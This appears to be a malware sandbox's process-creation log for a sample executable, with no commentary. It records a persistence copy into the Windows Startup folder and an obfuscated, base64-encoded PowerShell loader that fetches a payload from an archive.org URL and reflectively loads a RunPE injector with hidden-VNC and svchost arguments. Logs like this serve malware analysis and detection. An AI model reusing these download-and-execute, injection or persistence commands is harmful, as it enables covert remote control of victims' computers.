Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C echo %username%
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_sys.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C echo %username%
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\hvnc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , 